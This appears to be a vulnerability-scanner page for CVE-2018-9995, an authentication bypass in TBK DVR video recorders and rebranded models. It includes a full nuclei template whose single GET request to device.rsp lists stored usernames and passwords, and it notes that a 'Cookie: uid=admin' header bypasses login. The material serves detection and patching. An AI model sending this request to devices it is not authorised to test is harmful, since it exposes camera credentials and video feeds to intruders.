TBK DVR4104/DVR4216 Devices - Authentication Bypass

criticalseverity

9.8CVSS score

82.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

TBK DVR4104 and DVR4216 devices, as well as Novo, CeNova, QSee, Pulnix, XVR 5 in 1, Securus, Night OWL, DVR Login, HVR Login, and MDVR Login, which run re-branded versions of the original TBK DVR4104 and DVR4216 series, allow remote attackers to bypass authentication via a "Cookie: uid=admin" header, as demonstrated by a device.rsp?opt=user&cmd=list request that provides credentials within JSON data in a response.

Impact

An attacker can bypass authentication and gain unauthorized access to the device, potentially leading to unauthorized configuration changes or data exfiltration.

Fix

Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability and ensure strong and unique passwords are used for device access.

How to confirm it

Send: GET {{BaseURL}}/device.rsp?opt=user&cmd=list
Positive when: contains "\"uid\":" and "\"pwd\":" and "\"view\":" and "playback" AND status 200

Run it with nuclei: nuclei -id CVE-2018-9995 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-9995

info:
  name: TBK DVR4104/DVR4216 Devices - Authentication Bypass
  author: princechaddha
  severity: critical
  description: |
    TBK DVR4104 and DVR4216 devices, as well as Novo, CeNova, QSee, Pulnix, XVR 5 in 1, Securus, Night OWL, DVR Login, HVR Login, and
    MDVR Login, which run re-branded versions of the original TBK DVR4104 and DVR4216 series, allow remote attackers to bypass
    authentication via a "Cookie: uid=admin" header, as demonstrated by a device.rsp?opt=user&cmd=list request that provides credentials within JSON data in a response.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the device, potentially leading to unauthorized configuration changes or data exfiltration.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability and ensure strong and unique passwords are used for device access.
  reference:
    - https://www.exploit-db.com/exploits/44577/
    - http://misteralfa-hack.blogspot.cl/2018/04/tbk-vision-dvr-login-bypass.html
    - http://misteralfa-hack.blogspot.cl/2018/04/update-dvr-login-bypass-cve-2018-9995.html
    - https://www.bleepingcomputer.com/news/security/new-hacking-tool-lets-users-access-a-bunch-of-dvrs-and-their-video-feeds/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9995
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9995
    epss-score: 0.82322
    epss-percentile: 0.99663
    cpe: cpe:2.3:o:tbkvision:tbk-dvr4216_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tbkvision
    product: tbk-dvr4216_firmware
  tags: cve,cve2018,auth-bypass,tbk,edb,tbkvision,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/device.rsp?opt=user&cmd=list"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"uid\":"
          - "\"pwd\":"
          - "\"view\":"
          - "playback"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from